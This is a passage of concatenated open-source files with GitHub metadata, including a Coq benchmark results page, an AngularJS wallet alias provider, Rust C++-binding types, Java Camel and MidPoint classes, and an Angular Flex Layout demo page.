incompatibility with the current Coq/OCaml version:</p> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>opam remove -y coq; opam install -y --show-action --unlock-base coq-otway-rees.8.6.0</code></dd> <dt>Return code</dt> <dd>0</dd> </dl> <h2>Install dependencies</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> <dt>Duration</dt> <dd>0 s</dd> </dl> <h2>Install 🚀</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> <dt>Duration</dt> <dd>0 s</dd> </dl> <h2>Installation size</h2> <p>No files were installed.</p> <h2>Uninstall 🧹</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> <dt>Missing removes</dt> <dd> none </dd> <dt>Wrong removes</dt> <dd> none </dd> </dl> </div> </div> </div> <hr/> <div class="footer"> <p class="text-center"> Sources are on <a href="https://github.com/coq-bench">GitHub</a> © Guillaume Claret 🐣 </p> </div> </div> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script> <script src="../../../../../bootstrap.min.js"></script> </body> </html>
{ "content_hash": "90dc01be40d8dfcf0bb1626983d70f1c", "timestamp": "", "source": "github", "line_count": 166, "max_line_length": 212, "avg_line_length": 42.22289156626506, "alnum_prop": 0.5482950492224283, "repo_name": "coq-bench/coq-bench.github.io", "id": "5ca3be0f343e1280318c4e8e631283b72b3f5391", "size": "7036", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "clean/Linux-x86_64-4.05.0-2.0.1/released/8.12.0/otway-rees/8.6.0.html", "mode": "33188", "license": "mit", "language": [], "symlink_target": "" }
(function () { 'use strict'; var module = angular.module('fim.base'); module.factory('AliasProvider', function (nxt, $q, IndexedEntityProvider) { function AliasProvider(api, $scope, pageSize, account) { this.init(api, $scope, pageSize, account); } angular.extend(AliasProvider.prototype, IndexedEntityProvider.prototype, { uniqueKey: function (alias) { return alias.aliasName }, sortFunction: function (a, b) { return a.index - b.index; }, getData: function (firstIndex) { var deferred = $q.defer(); var args = { account: this.account, firstIndex: firstIndex, lastIndex: firstIndex + this.pageSize, requestType: 'getAliases' } this.api.engine.socket().callAPIFunction(args).then(deferred.resolve, deferred.reject); return deferred.promise; }, dataIterator: function (data) { var aliases = data.aliases || []; var index = this.entities.length > 0 ? this.entities[this.entities.length - 1].index : 0; for (var i=0; i<aliases.length; i++) { var a = aliases[i]; a.index = index++; a.date = nxt.util.formatTimestamp(a.timestamp); if (a.priceNQT) { a.priceNXT = nxt.util.convertToNXT(a.priceNQT); } } return new Iterator(aliases); } }); return AliasProvider; }); })();
{ "content_hash": "5a678024008170511e078930435ed85d", "timestamp": "", "source": "github", "line_count": 43, "max_line_length": 95, "avg_line_length": 31.558139534883722, "alnum_prop": 0.6197494473102432, "repo_name": "fimkrypto/mofowallet", "id": "f4fc3e644b6c371b26e555bfd7f7814e95856be3", "size": "2526", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "app/scripts/providers/alias-provider.js", "mode": "33188", "license": "mit", "language": [ { "name": "ApacheConf", "bytes": "24139" }, { "name": "CSS", "bytes": "92207" }, { "name": "HTML", "bytes": "351218" }, { "name": "JavaScript", "bytes": "1259188" }, { "name": "Ruby", "bytes": "1867" }, { "name": "Shell", "bytes": "17908" } ], "symlink_target": "" }
from msrest.exceptions import ( ClientException, SerializationError, DeserializationError, TokenExpiredError, ClientRequestError, AuthenticationError, HttpOperationError, ) from .api_client import AutoRestLongRunningOperationTestService, AutoRestLongRunningOperationTestServiceConfiguration __all__ = [ 'ClientException', 'SerializationError', 'DeserializationError', 'TokenExpiredError', 'ClientRequestError', 'AuthenticationError', 'HttpOperationError', 'AutoRestLongRunningOperationTestService', 'AutoRestLongRunningOperationTestServiceConfiguration' ]
{ "content_hash": "ace0796cb775a2ae05955f1fbff08f95", "timestamp": "", "source": "github", "line_count": 23, "max_line_length": 117, "avg_line_length": 27.043478260869566, "alnum_prop": 0.7717041800643086, "repo_name": "vulcansteel/autorest", "id": "ea1145bcb5d0b5cfa7dab0f0dc81a233fd6aab4f", "size": "1096", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "AutoRest/Generators/Python/Azure.Python.Tests/Expected/AcceptanceTests/Lro/auto_rest_long_running_operation_test_service/__init__.py", "mode": "33188", "license": "mit", "language": [ { "name": "Batchfile", "bytes": "819" }, { "name": "C#", "bytes": "8857811" }, { "name": "CSS", "bytes": "110" }, { "name": "HTML", "bytes": "274" }, { "name": "Java", "bytes": "3171512" }, { "name": "JavaScript", "bytes": "4063363" }, { "name": "PowerShell", "bytes": "8003" }, { "name": "Puppet", "bytes": "145" }, { "name": "Python", "bytes": "1831874" }, { "name": "Ruby", "bytes": "218212" }, { "name": "TypeScript", "bytes": "158339" } ], "symlink_target": "" }
<?xml version="1.0" encoding="utf-8"?> <selector xmlns:android="http://schemas.android.com/apk/res/android"> <item android:state_checked="true" android:drawable="@drawable/bg_img_btn_dish_item_dec_press" /> <item android:state_pressed="true" android:drawable="@drawable/bg_img_btn_dish_item_dec_press" /> <item android:state_enabled="false" android:drawable="@drawable/bg_img_btn_dish_item_dec_disabled" /> <item android:drawable="@drawable/bg_img_btn_dish_item_dec_press" /> </selector>
{ "content_hash": "f8dfe3abe0199b8a71f83165b56ae5fd", "timestamp": "", "source": "github", "line_count": 8, "max_line_length": 105, "avg_line_length": 63.25, "alnum_prop": 0.717391304347826, "repo_name": "superspeedone/youyou", "id": "5481d3b2ce0f03296e835da3f7556c40b87543d9", "size": "506", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "res/drawable/btn_dish_item_dec.xml", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Java", "bytes": "430401" } ], "symlink_target": "" }
SYNONYM #### According to The Catalogue of Life, 3rd January 2011 #### Published in null #### Original name null ### Remarks null
{ "content_hash": "ae8d4104265d7c19088e02ebc851ffcf", "timestamp": "", "source": "github", "line_count": 13, "max_line_length": 39, "avg_line_length": 10.23076923076923, "alnum_prop": 0.6917293233082706, "repo_name": "mdoering/backbone", "id": "e7a6724240ccbbd74e806ae3e9c538f21b0b0c7c", "size": "186", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "life/Plantae/Magnoliophyta/Magnoliopsida/Asterales/Asteraceae/Osteospermum polygaloides/ Syn. Osteospermum imbricatum/README.md", "mode": "33188", "license": "apache-2.0", "language": [], "symlink_target": "" }
youpass-js ========== JavaScript version of YouPass.
{ "content_hash": "b028770546d6a5a1f81b9139681d39ac", "timestamp": "", "source": "github", "line_count": 4, "max_line_length": 30, "avg_line_length": 13.5, "alnum_prop": 0.6481481481481481, "repo_name": "semscenterdev/youpass-js", "id": "109fdd479f3fdf35246537d8c14eb8f8438d9416", "size": "54", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "README.md", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "JavaScript", "bytes": "792" } ], "symlink_target": "" }
use crate::cpp_data::{CppPath, CppPathItem, CppVisibility}; use crate::cpp_ffi_data::CppCast; pub use crate::cpp_operator::{CppOperator, CppOperatorInfo}; use crate::cpp_type::{CppPointerLikeTypeKind, CppType}; use crate::rust_info::RustQtReceiverType; use itertools::Itertools; use ritual_common::errors::{bail, err_msg, Result, ResultExt}; use ritual_common::utils::MapIfOk; use serde_derive::{Deserialize, Serialize}; use std::fmt::Write; /// Information about an argument of a C++ method #[derive(Debug, PartialEq, Eq, Clone, Hash, Serialize, Deserialize)] pub struct CppFunctionArgument { /// Identifier. If the argument doesn't have a name /// (which is allowed in C++), this field contains /// generated name "argX" (X is position of the argument). pub name: String, /// Argument type pub argument_type: CppType, /// Flag indicating that the argument has default value and /// therefore can be omitted when calling the method pub has_default_value: bool, } impl CppFunctionArgument { /// Generates C++ code for the argument declaration pub fn to_cpp_code(&self) -> Result<String> { if let CppType::FunctionPointer(..) = self.argument_type { Ok(self.argument_type.to_cpp_code(Some(&self.name))?) } else { Ok(format!( "{} {}", self.argument_type.to_cpp_code(None)?, self.name )) } } } /// Enumerator indicating special cases of C++ methods. #[derive(Debug, PartialEq, Eq, Clone, Hash, Serialize, Deserialize)] pub enum CppFunctionKind { /// Just a class method Regular, /// Constructor Constructor, /// Destructor Destructor, } /// Information about a C++ class member method #[derive(Debug, PartialEq, Eq, Clone, Hash, Serialize, Deserialize)] pub struct CppFunctionMemberData { /// Whether this method is a constructor, a destructor or an operator pub kind: CppFunctionKind, /// True if this is a virtual method pub is_virtual: bool, /// True if this is a pure virtual method (requires is_virtual = true) pub is_pure_virtual: bool, /// True if this is a const method, i.e. "this" pointer receives by /// this method has const type pub is_const: bool, /// True if this is a static method, i.e. it doesn't receive "this" pointer at all. pub is_static: bool, /// Method visibility pub visibility: CppVisibility, /// True if the method is a Qt signal pub is_signal: bool, /// True if the method is a Qt slot pub is_slot: bool, } impl CppFunctionMemberData { fn is_same(&self, other: &CppFunctionMemberData) -> bool { self.kind == other.kind && self.is_const == other.is_const && self.is_static == other.is_static } } /// Information about a C++ method #[derive(Debug, PartialEq, Eq, Clone, Hash, Serialize, Deserialize)] pub struct CppFunction { /// Identifier. For class methods, this field includes /// only the method's own name. For free functions, /// this field also includes namespaces (if any). /// /// Last part of the path contains the template parameters of the function itself. /// For a template method, this fields contains its template arguments /// in the form of `CppTypeBase::TemplateParameter` types. /// For an instantiated template method, this field contains the types /// used for instantiation. /// /// For example, `T QObject::findChild<T>()` would have /// a `TemplateParameter` type in `template_arguments` /// because it's not instantiated, and /// `QWidget* QObject::findChild<QWidget*>()` would have `QWidget*` type in /// `template_arguments`. /// /// This field is `None` if this is not a template method. /// If the method belongs to a template class, /// the class's template arguments are not included here. /// Instead, they are available in `member.class_type`. pub path: CppPath, /// Additional information about a class member function /// or None for free functions pub member: Option<CppFunctionMemberData>, /// If the method is a C++ operator, indicates its kind pub operator: Option<CppOperator>, /// Return type of the method. /// Return type is reported as void for constructors and destructors. pub return_type: CppType, /// List of the method's arguments pub arguments: Vec<CppFunctionArgument>, /// Whether the argument list is terminated with "..." pub allows_variadic_arguments: bool, pub cast: Option<CppCast>, /// C++ code of the method's declaration. /// None if the method was not explicitly declared. pub declaration_code: Option<String>, } /// Chosen type allocation place for the method #[derive(Debug, PartialEq, Eq, Clone, Copy, Hash, Serialize, Deserialize)] pub enum ReturnValueAllocationPlace { /// The method returns a class object by value (or is a constructor), and /// it's translated to "output" FFI argument and placement new Stack, /// The method returns a class object by value (or is a constructor), and /// it's translated to pointer FFI return type and plain new Heap, /// The method does not return a class object by value, so /// the direct equivalent of the value is used in FFI. NotApplicable, } impl CppFunctionKind { /// Returns true if this method is a constructor pub fn is_constructor(&self) -> bool { matches!(self, CppFunctionKind::Constructor) } /// Returns true if this method is a destructor pub fn is_destructor(&self) -> bool { matches!(self, CppFunctionKind::Destructor) } /// Returns true if this method is a regular method or a free function pub fn is_regular(&self) -> bool { matches!(self, CppFunctionKind::Regular) } } impl CppFunction { /// Checks if two methods have exactly the same set of input argument types pub fn argument_types_equal(&self, other: &CppFunction) -> bool { if self.arguments.len() != other.arguments.len() { return false; } if self.allows_variadic_arguments != other.allows_variadic_arguments { return false; } for (i, j) in self.arguments.iter().zip(other.arguments.iter()) { if i.argument_type != j.argument_type { return false; } } true } pub fn is_same(&self, other: &CppFunction) -> bool { let member_is_same = match (&self.member, &other.member) { (Some(m1), Some(m2)) => m1.is_same(m2), (None, None) => true, _ => false, }; self.path == other.path && member_is_same && self.operator == other.operator && self.return_type == other.return_type && self.argument_types_equal(other) } pub fn class_path(&self) -> Result<CppPath> { if self.member.is_some() { Ok(self.path.parent().with_context(|_| { err_msg("CppFunction is a class member but its path is not nested.") })?) } else { bail!("not a member function") } } pub fn class_path_parts(&self) -> Result<&[CppPathItem]> { if self.member.is_some() { Ok(self.path.parent_parts().with_context(|_| { err_msg("CppFunction is a class member but its path is not nested.") })?) } else { bail!("not a member function") } } pub fn pseudo_declaration(&self) -> String { let mut s = String::new(); if let Some(info) = &self.member { if info.is_virtual { write!(s, " virtual").unwrap(); } if info.is_static { write!(s, " static").unwrap(); } if info.visibility == CppVisibility::Protected { write!(s, " protected").unwrap(); } if info.visibility == CppVisibility::Private { write!(s, " private").unwrap(); } } write!(s, " {}", self.return_type.to_cpp_pseudo_code()).unwrap(); write!(s, " {}", self.path.to_cpp_pseudo_code()).unwrap(); let args = self .arguments .iter() .map(|arg| { arg.to_cpp_code().unwrap_or_else(|_| { format!("{} {}", arg.argument_type.to_cpp_pseudo_code(), arg.name,) }) }) .join(", "); write!( s, "({}{})", args, if self.allows_variadic_arguments { ", ..." } else { "" } ) .unwrap(); if let Some(info) = &self.member { if info.is_const { write!(s, " const").unwrap(); } } s.trim().to_string() } /// Returns short text representing values in this method /// (only for debugging output). pub fn short_text(&self) -> String { let mut s = String::new(); if let Some(info) = &self.member { if info.is_virtual { if info.is_pure_virtual { s = format!("{} pure virtual", s); } else { s = format!("{} virtual", s); } } if info.is_static { s = format!("{} static", s); } if info.visibility == CppVisibility::Protected { s = format!("{} protected", s); } if info.visibility == CppVisibility::Private { s = format!("{} private", s); } if info.is_signal { s = format!("{} [signal]", s); } if info.is_slot { s = format!("{} [slot]", s); } match info.kind { CppFunctionKind::Constructor => s = format!("{} [constructor]", s), CppFunctionKind::Destructor => s = format!("{} [destructor]", s), CppFunctionKind::Regular => {} } } if self.allows_variadic_arguments { s = format!("{} [var args]", s); } s = format!("{} {}", s, self.return_type.to_cpp_pseudo_code()); s = format!("{} {}", s, self.path.to_cpp_pseudo_code()); s = format!( "{}({})", s, self.arguments .iter() .map(|arg| format!( "{} {}{}", arg.argument_type.to_cpp_pseudo_code(), arg.name, if arg.has_default_value { " = …".to_string() } else { String::new() } )) .join(", ") ); if let Some(info) = &self.member { if info.is_const { s = format!("{} const", s); } } s.trim().to_string() } /// Returns true if this method is a constructor. pub fn is_constructor(&self) -> bool { match &self.member { Some(info) => info.kind.is_constructor(), None => false, } } pub fn is_copy_constructor(&self) -> bool { if !self.is_constructor() { return false; } if self.arguments.len() != 1 { return false; } let arg = CppType::new_reference(true, CppType::Class(self.class_path().unwrap())); arg == self.arguments[0].argument_type } /// Returns true if this method is a destructor. pub fn is_destructor(&self) -> bool { match &self.member { Some(info) => info.kind.is_destructor(), None => false, } } /// Returns true if this method is static. pub fn is_static_member(&self) -> bool { match &self.member { Some(info) => info.is_static, None => false, } } pub fn is_virtual(&self) -> bool { match &self.member { Some(info) => info.is_virtual, None => false, } } pub fn is_private(&self) -> bool { match &self.member { Some(info) => info.visibility == CppVisibility::Private, None => false, } } pub fn is_signal(&self) -> bool { match &self.member { Some(info) => info.is_signal, None => false, } } pub fn is_slot(&self) -> bool { match &self.member { Some(info) => info.is_slot, None => false, } } pub fn patch_receiver_argument_type(type_text: &str) -> String { type_text.replace("QList< QModelIndex >", "QModelIndexList") } pub fn receiver_id_from_data<'a>( receiver_type: RustQtReceiverType, name: &'a str, arguments: impl IntoIterator<Item = &'a CppType>, ) -> Result<String> { let type_num = match receiver_type { RustQtReceiverType::Signal => "2", RustQtReceiverType::Slot => "1", }; // Qt doesn't recognize `QList<QModelIndex>`, e.g. in `QListWidget::indexesMoved`. let arguments = arguments .map_if_ok(|arg| arg.to_cpp_code(None))? .into_iter() .map(|arg| Self::patch_receiver_argument_type(&arg)) .join(","); Ok(format!("{}{}({})", type_num, name, arguments)) } /// Returns the identifier that should be used in `QObject::connect` /// to specify this signal or slot. pub fn receiver_id(&self) -> Result<String> { let receiver_type = if let Some(info) = &self.member { if info.is_slot { RustQtReceiverType::Slot } else if info.is_signal { RustQtReceiverType::Signal } else { bail!("not a signal or slot"); } } else { bail!("not a class method"); }; Self::receiver_id_from_data( receiver_type, &self.path.last().name, self.arguments.iter().map(|arg| &arg.argument_type), ) } pub fn member(&self) -> Option<&CppFunctionMemberData> { self.member.as_ref() } /// Returns true if this method is an operator. pub fn is_operator(&self) -> bool { self.operator.is_some() } /// Returns collection of all types found in the signature of this method, /// including argument types, return type and type of `this` implicit parameter. pub fn all_involved_types(&self) -> Vec<CppType> { let mut result = Vec::<CppType>::new(); if let Some(class_membership) = &self.member { result.push(CppType::PointerLike { is_const: class_membership.is_const, kind: CppPointerLikeTypeKind::Pointer, target: Box::new(CppType::Class(self.class_path().unwrap())), }); } for t in self.arguments.iter().map(|x| x.argument_type.clone()) { result.push(t); } result.push(self.return_type.clone()); if let Some(template_arguments) = &self.path.last().template_arguments { result.extend(template_arguments.clone()); } result } pub fn can_infer_template_arguments(&self) -> bool { if let Some(args) = &self.path.last().template_arguments { for t in args { if let CppType::TemplateParameter(param) = t { if !self .arguments .iter() .any(|arg| arg.argument_type.contains_template_parameter(param)) { return false; } } } } true } }
{ "content_hash": "d086cc78670861b75919c51908c711b0", "timestamp": "", "source": "github", "line_count": 467, "max_line_length": 91, "avg_line_length": 34.226980728051394, "alnum_prop": 0.5384134134134134, "repo_name": "rust-qt/cpp_to_rust", "id": "04b85617a4bd4c1b4e1068cb0e5b47a268727f8e", "size": "16041", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "ritual/src/cpp_function.rs", "mode": "33188", "license": "mit", "language": [ { "name": "Batchfile", "bytes": "2260" }, { "name": "C", "bytes": "994" }, { "name": "C++", "bytes": "9321" }, { "name": "CMake", "bytes": "3196" }, { "name": "Python", "bytes": "460" }, { "name": "Rust", "bytes": "851132" }, { "name": "Shell", "bytes": "1638" } ], "symlink_target": "" }
package com.evolveum.midpoint.wf.impl.processors.primary; import com.evolveum.midpoint.prism.PrismContext; import com.evolveum.midpoint.repo.api.RepositoryService; import com.evolveum.midpoint.task.api.TaskManager; import com.evolveum.midpoint.util.logging.Trace; import com.evolveum.midpoint.util.logging.TraceManager; import com.evolveum.midpoint.wf.impl.WfConfiguration; import com.evolveum.midpoint.wf.impl.util.MiscDataUtil; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Qualifier; import org.springframework.stereotype.Component; /** * @author mederly */ @Component public class PcpRepoAccessHelper { private static final transient Trace LOGGER = TraceManager.getTrace(PcpRepoAccessHelper.class); @Autowired @Qualifier("cacheRepositoryService") private RepositoryService repositoryService; @Autowired private PrismContext prismContext; @Autowired private TaskManager taskManager; @Autowired private WfConfiguration wfConfiguration; @Autowired private MiscDataUtil miscDataUtil; }
{ "content_hash": "8f02c7f013325c6fc3723d675718d227", "timestamp": "", "source": "github", "line_count": 43, "max_line_length": 99, "avg_line_length": 26.023255813953487, "alnum_prop": 0.8016085790884718, "repo_name": "arnost-starosta/midpoint", "id": "8e69158e885abd053df642aafe4e60da5d0e9b86", "size": "1720", "binary": false, "copies": "3", "ref": "refs/heads/master", "path": "model/workflow-impl/src/main/java/com/evolveum/midpoint/wf/impl/processors/primary/PcpRepoAccessHelper.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Batchfile", "bytes": "360626" }, { "name": "CSS", "bytes": "246079" }, { "name": "HTML", "bytes": "1906400" }, { "name": "Java", "bytes": "33331059" }, { "name": "JavaScript", "bytes": "18450" }, { "name": "PLSQL", "bytes": "212132" }, { "name": "PLpgSQL", "bytes": "9834" }, { "name": "Perl", "bytes": "13072" }, { "name": "Shell", "bytes": "52" } ], "symlink_target": "" }
@interface JSCartView : UIView @property (nonatomic,strong) NSArray *data; @end
{ "content_hash": "db96d2c1ff6f7882c9f4b569a387336f", "timestamp": "", "source": "github", "line_count": 5, "max_line_length": 43, "avg_line_length": 16.4, "alnum_prop": 0.7560975609756098, "repo_name": "ShenYj/Demos", "id": "f1efbc1ab73a457553f38ba7946a82727dff9ece", "size": "237", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "JS与OC交互(WKWebView)/JS与OC交互(WKWebView)/Classes/Views/JSCartView.h", "mode": "33188", "license": "mit", "language": [ { "name": "C", "bytes": "154288" }, { "name": "HTML", "bytes": "1581" }, { "name": "Objective-C", "bytes": "2365278" }, { "name": "Objective-J", "bytes": "1077" }, { "name": "Ruby", "bytes": "5627" }, { "name": "Swift", "bytes": "17953" } ], "symlink_target": "" }
offical website
{ "content_hash": "ddf2953cbb69574da525986bb6684c83", "timestamp": "", "source": "github", "line_count": 1, "max_line_length": 15, "avg_line_length": 15, "alnum_prop": 0.9333333333333333, "repo_name": "apporoad/DesignAndScheme2017", "id": "7314a5297c34e16de9b949c429c6dcbafc2dd6d1", "size": "16", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "paas/技术选型/docker_machine.md", "mode": "33188", "license": "mit", "language": [ { "name": "Shell", "bytes": "715" } ], "symlink_target": "" }
package org.nutz.ioc.val; import java.util.Set; import org.nutz.el.El; import org.nutz.ioc.Ioc; import org.nutz.ioc.IocMaking; import org.nutz.ioc.ValueProxy; import org.nutz.lang.util.SimpleContext; public class EL_Value extends SimpleContext implements ValueProxy { protected El el; protected Ioc ioc; public EL_Value(String el) { this.el = new El(el); } public Object get(IocMaking ing) { this.ioc = ing.getIoc(); return el.eval(this); } public boolean has(String key) { if (key == null) return false; if ("sys".equals(key)) return true; if ("env".equals(key)) return true; if ("$ioc".equals(key)) return true; if (key.startsWith("$") && key.length() > 1) return ioc.has(key.substring(1)); return super.has(key); } public Set<String> keys() { Set<String> keys = super.keys(); keys.add("sys"); keys.add("env"); keys.add("$ioc"); for (String name : ioc.getNames()) { keys.add("$"+name); } return keys; } public int size() { return this.keys().size(); } public Object get(String key) { if (key == null) return null; if ("sys".equals(key)) return System.getProperties(); if ("env".equals(key)) return System.getenv(); if ("$ioc".equals(key)) return ioc; if (key.startsWith("$") && key.length() > 1) return ioc.get(Object.class, key.substring(1)); return super.get(key); } }
{ "content_hash": "0f3175c67636a0b9c3d0aa7993b2b076", "timestamp": "", "source": "github", "line_count": 68, "max_line_length": 67, "avg_line_length": 24.764705882352942, "alnum_prop": 0.5243467933491687, "repo_name": "lzxz1234/nutz", "id": "79a814fa71fc7c530fd08b037303ff7f581c970a", "size": "1684", "binary": false, "copies": "7", "ref": "refs/heads/master", "path": "src/org/nutz/ioc/val/EL_Value.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Assembly", "bytes": "202" }, { "name": "Batchfile", "bytes": "301" }, { "name": "Java", "bytes": "3573194" }, { "name": "JavaScript", "bytes": "6753" }, { "name": "Python", "bytes": "368" }, { "name": "Shell", "bytes": "263" } ], "symlink_target": "" }
/* Generated by camel build tools - do NOT edit this file! */ package org.apache.camel.component.google.pubsub; import java.net.URISyntaxException; import java.util.Collections; import java.util.HashMap; import java.util.HashSet; import java.util.Map; import java.util.Set; import org.apache.camel.spi.EndpointUriFactory; /** * Generated by camel build tools - do NOT edit this file! */ public class GooglePubsubEndpointUriFactory extends org.apache.camel.support.component.EndpointUriFactorySupport implements EndpointUriFactory { private static final String BASE = ":projectId:destinationName"; private static final Set<String> PROPERTY_NAMES; private static final Set<String> SECRET_PROPERTY_NAMES; static { Set<String> props = new HashSet<>(13); props.add("synchronous"); props.add("exchangePattern"); props.add("serializer"); props.add("synchronousPull"); props.add("concurrentConsumers"); props.add("lazyStartProducer"); props.add("bridgeErrorHandler"); props.add("destinationName"); props.add("ackMode"); props.add("maxMessagesPerPoll"); props.add("loggerId"); props.add("projectId"); props.add("exceptionHandler"); PROPERTY_NAMES = Collections.unmodifiableSet(props); SECRET_PROPERTY_NAMES = Collections.emptySet(); } @Override public boolean isEnabled(String scheme) { return "google-pubsub".equals(scheme); } @Override public String buildUri(String scheme, Map<String, Object> properties, boolean encode) throws URISyntaxException { String syntax = scheme + BASE; String uri = syntax; Map<String, Object> copy = new HashMap<>(properties); uri = buildPathParameter(syntax, uri, "projectId", null, true, copy); uri = buildPathParameter(syntax, uri, "destinationName", null, true, copy); uri = buildQueryParameters(uri, copy, encode); return uri; } @Override public Set<String> propertyNames() { return PROPERTY_NAMES; } @Override public Set<String> secretPropertyNames() { return SECRET_PROPERTY_NAMES; } @Override public boolean isLenientProperties() { return false; } }
{ "content_hash": "72870c1643d644bcc6c1babe6fc8e045", "timestamp": "", "source": "github", "line_count": 74, "max_line_length": 144, "avg_line_length": 30.95945945945946, "alnum_prop": 0.673068529026626, "repo_name": "nicolaferraro/camel", "id": "07bf77a0c0be50cd3eb66b0f019f35303ae13693", "size": "2291", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "components/camel-google-pubsub/src/generated/java/org/apache/camel/component/google/pubsub/GooglePubsubEndpointUriFactory.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Apex", "bytes": "6521" }, { "name": "Batchfile", "bytes": "2353" }, { "name": "CSS", "bytes": "5472" }, { "name": "Elm", "bytes": "10852" }, { "name": "FreeMarker", "bytes": "8015" }, { "name": "Groovy", "bytes": "14479" }, { "name": "HTML", "bytes": "916625" }, { "name": "Java", "bytes": "82748568" }, { "name": "JavaScript", "bytes": "100326" }, { "name": "Makefile", "bytes": "513" }, { "name": "Shell", "bytes": "17240" }, { "name": "TSQL", "bytes": "28835" }, { "name": "Tcl", "bytes": "4974" }, { "name": "Thrift", "bytes": "6979" }, { "name": "XQuery", "bytes": "546" }, { "name": "XSLT", "bytes": "275257" } ], "symlink_target": "" }
<div class="page-content"> <md-card class="page-card"> <md-card-title>Flex Layout <a class="badge" href="https://github.com/angular/flex-layout">Official Documentation</a></md-card-title> </md-card> <md-card class="page-card"> <md-card-title>Responsive Flex Directives</md-card-title> <md-card-subtitle>Use the show hide APIs to responsively show or hide elements:</md-card-subtitle> <md-card-content> <div class="containerX"> <div fxLayout="row" class="coloredContainerX box"> <div fxFlex.gt-sm="67" fxFlex="33"> flex 33% on mobile, <br>and 66% on gt-sm devices.</div> <div fxFlex.gt-sm="33" fxFlex="67"> flex 67% on mobile, <br>and 33% on gt-sm devices.</div> </div> </div> </md-card-content> </md-card> <md-card class="page-card"> <md-card-title>Responsive Flex Ordering</md-card-title> <md-card-subtitle>Add the flex-order directive to a layout child to set its order position within the layout container: </md-card-subtitle> <md-card-content> <div class="containerX"> <div fxLayout="row" class="coloredContainerX box"> <div fxFlex fxFlexOrder="-1"> <p>[flex-order="-1"]</p> </div> <div fxFlex fxFlexOrder="1" fxFlexOrder.gt-md="3"> <p fxHide="false" fxHide.gt-md> [flex-order="1"] </p> <p fxShow="false" fxShow.gt-md> [flex-order.gt-md="3"] </p> </div> <div fxFlex fxFlexOrder="2"> <p>[flex-order="2"]</p> </div> <div fxFlex fxFlexOrder="3" fxFlexOrder.gt-md="1"> <p fxHide="false" fxHide.gt-md> [flex-order="3"] </p> <p fxShow="false" fxShow.gt-md> [flex-order.gt-md="1"] </p> </div> </div> </div> </md-card-content> </md-card> <md-card class="page-card"> <md-card-title>Responsive Layout Directions</md-card-title> <md-card-subtitle>Layout direction changes to 'column' for 'xs' or 'sm' viewport sizes:</md-card-subtitle> <md-card-content> <div class="containerX"> <div fxLayout="row" fxLayout.xs="column" fxLayout.sm="column" fxFlex class="coloredContainerX box"> <div fxFlex> I'm above on mobile, and to the left on larger devices.</div> <div fxFlex> I'm below on mobile, and to the right on larger devices.</div> </div> </div> </md-card-content> </md-card> <md-card class="page-card"> <md-card-title>Multiple Responsive Columns</md-card-title> <md-card-subtitle>Simple row with nested layout containers. Note: the 1st column is responsive.</md-card-subtitle> <md-card-content> <div class="containerX"> <div class="colorNested box" fxLayout="row" *ngIf="isVisible"> <div [fxLayout]="firstCol" [fxLayout.xs]="firstColXs" [fxLayout.md]="firstColMd" [fxLayout.lg]="firstColLg" [fxLayout.gt-lg]="firstColGtLg" fxFlex="50%" fxFlex.gt-sm="25" fxShow="true" fxShow.md="false" (click)="toggleLayoutFor(1)" style="cursor: pointer;"> <div fxFlex>Col #1: First item in row</div> <div fxFlex>Col #1: Second item in row</div> </div> <div [fxLayout]="secondCol" fxFlex (click)="toggleLayoutFor(2)" style="cursor: pointer;"> <div fxFlex>Col #2: First item in column</div> <div fxFlex>Col #2: Second item in column</div> </div> </div> </div> </md-card-content> </md-card> <md-card class="page-card"> <md-card-title>Show & Hide Directives</md-card-title> <md-card-subtitle>Use the show hide APIs to responsively show or hide elements:</md-card-subtitle> <md-card-content> <div class="containerX"> <div fxLayout="row" class="coloredContainerX box"> <div fxFlex fxHide="false" fxHide.gt-sm> Shown on small device size.<br> Hidden on gt-sm devices.</div> <div fxFlex fxHide="false" fxHide.gt-md> Shown on small and medium size devices.<br> Hidden on gt-md devices. </div> <div fxFlex fxShow="false" fxShow.gt-sm> Only show on gt-sm devices.</div> <div fxFlex fxShow="false" fxShow.md> Shown on medium size devices only.</div> <div fxFlex fxShow="false" fxShow.gt-lg> Shown on devices larger than 1200px wide only.</div> </div> </div> </md-card-content> </md-card> <md-card class="page-card"> <md-card-title>Flex with Align-Self</md-card-title> <md-card-subtitle>Click on 'target' to explore how 'flex-align' can change the alignment for a single element only. </md-card-subtitle> <md-card-content> <div class="containerX"> <div class="box" style="height:200px;"> <div fxLayout="row" fxLayoutAlign="center center" fxLayoutGap="5px" style="height:100%;padding: 5px;"> <div fxFlex class="black one"> 1</div> <div fxFlex class="black two_h target" [fxFlexAlign]="alignTo" (click)="toggleAlignment()"> target</div> <div fxFlex class="black three"> 3</div> <div fxFlex class="black four_h"> 4</div> <div fxFlex class="black fives"> 5</div> </div> </div> </div> </md-card-content> </md-card> <md-card class="page-card"> <md-card-title>Flex Offset Values</md-card-title> <md-card-subtitle>Explore impact of values for the 'flex-offset' API:</md-card-subtitle> <md-card-content> <div class="containerX"> <div fxLayout="row" class="colored box nopad"> <div fxFlex="66" fxFlexOffset="15"> [flex="66"] [flex-offset="15"]</div> <div fxFlex> [flex]</div> </div> </div> </md-card-content> </md-card> <md-card class="page-card" (click)="toggleDirection()"> 